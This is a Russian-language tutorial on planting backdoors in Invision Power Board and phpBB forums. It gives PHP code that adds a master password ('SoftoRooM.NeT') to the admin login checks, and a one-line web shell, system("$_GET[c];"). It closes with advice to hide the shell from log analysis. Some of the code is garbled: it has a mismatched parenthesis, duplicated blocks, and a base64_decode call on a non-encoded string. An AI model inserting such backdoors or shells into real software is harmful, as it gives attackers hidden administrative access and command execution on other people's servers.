IPB
Первое,что приходит на ум - открыть admin.code и найти кусок проверки кода введенного пароля.Находим строку
CODE
require_once( ROOT_PATH."sources/action_admin/login.code" );
Проверка корректности пароля происходит в файле login.code,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.
CODE
if ( $this->ipsclass->converge->converge_authenticate_member( $pass ) != TRUE )
{
$this->login_form("The password you entered is not correct");
}
{
$this->login_form("The password you entered is not correct");
}
Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию
CODE
if (( $this->ipsclass->input['password']) == base64_decode('SoftoRooM.NeT')))
{
$sess_id = md5( uniqid( microtime() ) );
$db_string = $this->ipsclass->DB->compile_db_insert_string( array (
'session_id' => $sess_id,
'session_ip_address' => $this->ipsclass->ip_address,
'session_member_name' => $mem['name'],
'session_member_id' => $mem['id'],
'session_member_login_key' => $mem['member_login_key'],
'session_location' => 'index',
'session_log_in_time' => time(),
'session_running_time' => time(),
) );
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect( $this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['code_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query, 'Log In Successful' );
exit();
}
{
$sess_id = md5( uniqid( microtime() ) );
$db_string = $this->ipsclass->DB->compile_db_insert_string( array (
'session_id' => $sess_id,
'session_ip_address' => $this->ipsclass->ip_address,
'session_member_name' => $mem['name'],
'session_member_id' => $mem['id'],
'session_member_login_key' => $mem['member_login_key'],
'session_location' => 'index',
'session_log_in_time' => time(),
'session_running_time' => time(),
) );
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect( $this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['code_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query, 'Log In Successful' );
exit();
}
Пробуем ввести в связке логин существующего админа и пароль SoftoRooM.NeT - и мы попадаем в админ панель.
но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код
CODE
system("$_GET[c];");
При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.
phpbb
В форумах вида phpbb все гораздо проще - логин и пароль проверяется в одном скрипте.
В этом месте скрипт сравнивает правильность введенного пароля
CODE
if( md5($password) == $row['user_password'] && $row['user_active'] )
Меняем эту строчку на
CODE
if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="SoftoRooM.NeT"))
Вводим пароль SoftoRooM.NeT и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида
CODE
system("$_GET[c];");
Желательно это сделать в таком месте,где будет не очень заметно при анализе логов.